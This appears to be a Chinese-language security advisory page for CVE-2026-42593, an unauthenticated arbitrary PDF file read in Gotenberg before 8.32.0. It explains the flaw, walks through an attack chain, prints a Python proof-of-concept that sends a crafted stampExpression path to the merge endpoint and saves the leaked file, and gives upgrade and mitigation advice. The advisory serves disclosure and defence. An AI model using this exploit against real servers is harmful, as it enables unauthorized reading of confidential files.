IPBUF安全漏洞报告
English
CVE-2026-42593 CVSS 5.3 中危

CVE-2026-42593 Gotenberg 任意PDF文件读取漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-42593
漏洞类型
任意文件读取
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gotenberg

相关标签

任意文件读取路径遍历GotenbergCVE-2026-42593PDF

漏洞概述

Gotenberg是一个基于Docker的无状态PDF API。在8.32.0版本之前,系统存在安全缺陷,允许未认证攻击者利用特定API端点读取容器内的任意PDF文件。漏洞源于`stampSource`和`watermarkSource`参数处理逻辑不当,攻击者无需上传文件即可指定服务器路径,导致`pdfcpu`组件读取并返回受保护的文件内容。

技术细节

该漏洞的核心逻辑缺陷位于Gotenberg处理PDF合并与转换的特定API端点中,涉及`pdfengines/merge`、`pdfengines/split`、`libreoffice/convert`及多个`chromium/convert`路由。在这些路由中,当使用`stampSource=pdf`或`watermarkSource=pdf`参数时,系统本应要求上传文件作为源。然而,代码逻辑存在疏漏:如果未上传文件,系统不会清空用户通过`stampExpression`或`watermarkExpression`指定的路径参数,而是将其直接传递给底层的`pdfcpu`库。`pdfcpu`随后会在容器文件系统上打开该路径,将读取到的PDF页面合成到输出结果中。由于无需用户交互和身份验证,攻击者可利用此机制遍历容器文件系统,读取Gotenberg进程有权限访问的任意PDF文件,导致严重的信息泄露风险。

攻击链分析

STEP 1
侦察
攻击者识别出目标正在使用Gotenberg服务,且版本低于8.32.0。
STEP 2
漏洞利用
攻击者向`/forms/pdfengines/merge`等受影响端点发送POST请求,构造`stampSource=pdf`参数,并在`stampExpression`中指定想要读取的容器内文件路径(如`/app/config.pdf`),同时不上传任何印章文件。
STEP 3
文件读取
Gotenberg服务接收到请求后,由于未检测到上传文件,直接使用`stampExpression`中的路径。后端`pdfcpu`组件读取该路径下的PDF文件内容。
STEP 4
数据回传
服务器将读取到的PDF内容合成到响应流中返回给攻击者,攻击者通过解析响应PDF获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-42593: Gotenberg Arbitrary PDF Read # Target: Gotenberg < 8.32.0 import requests def exploit(target_url, file_path_to_read): # The vulnerable endpoint is one of the merge/convert routes # Here we use /forms/pdfengines/merge as an example url = f"{target_url}/forms/pdfengines/merge" # Prepare a dummy PDF to act as the base file for merging files = { 'files': ('dummy.pdf', open('dummy.pdf', 'rb'), 'application/pdf') } # Exploit payload: # stampSource=pdf tells the engine to use a PDF as a stamp. # stampExpression=/path/to/file points to the file on the server. # Since no file is uploaded for the stamp, the server uses the path directly. data = { 'stampSource': 'pdf', 'stampExpression': file_path_to_read # e.g., '/app/data/secret.pdf' } try: response = requests.post(url, files=files, data=data) if response.status_code == 200: print("[+] Request sent successfully. Check the output PDF for the file content.") with open("exploit_result.pdf", "wb") as f: f.write(response.content) print("[+] Result saved to exploit_result.pdf") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Create a dummy PDF for testing (minimal valid PDF) with open("dummy.pdf", "w") as f: f.write("%PDF-1.4\n1 0 obj\n<<\n/Type /Catalog\n/Pages 2 0 R\n>>\nendobj\n2 0 obj\n<<\n/Type /Pages\n/Count 1\n/Kids [3 0 R]\n>>\nendobj\n3 0 obj\n<<\n/Type /Page\n/Parent 2 0 R\n/Resources <<\n/Font <<\n/F1 4 0 R\n>>\n>>\n/MediaBox [0 0 612 792]\n/Contents 5 0 R\n>>\nendobj\n4 0 obj\n<<\n/Type /Font\n/Subtype /Type1\n/BaseFont /Helvetica\n>>\nendobj\n5 0 obj\n<<\n/Length 44\n>>\nstream\nBT\n/F1 12 Tf\n100 700 Td\n(Test) Tj\nET\nendstream\nendobj\nxref\n0 6\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000115 00000 n \n0000000264 00000 n \n0000000337 00000 n \ntrailer\n<<\n/Size 6\n/Root 1 0 R\n>>\nstartxref\n425\n%%EOF") target = "http://localhost:3000" # Example path inside the container sensitive_file = "/etc/hosts" # Note: pdfcpu expects PDFs, but behavior may vary on binary files exploit(target, sensitive_file)

影响范围

Gotenberg < 8.32.0

防御指南

临时缓解措施
建议立即升级到8.32.0版本以修补此漏洞。如果暂时无法升级,应确保Gotenberg服务不直接暴露在公网,并通过WAF或防火墙规则拦截包含`stampExpression`或`watermarkExpression`参数的恶意请求。同时,检查容器内是否存在敏感PDF文件并将其移除。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表